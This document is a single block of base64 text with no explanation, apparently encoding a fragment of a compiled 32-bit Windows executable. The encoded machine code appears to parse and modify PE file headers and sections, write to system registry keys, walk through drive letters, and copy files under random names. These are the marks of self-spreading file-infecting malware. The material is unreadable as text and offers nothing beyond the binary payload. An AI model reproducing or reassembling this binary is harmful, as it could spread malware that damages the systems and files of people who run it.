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 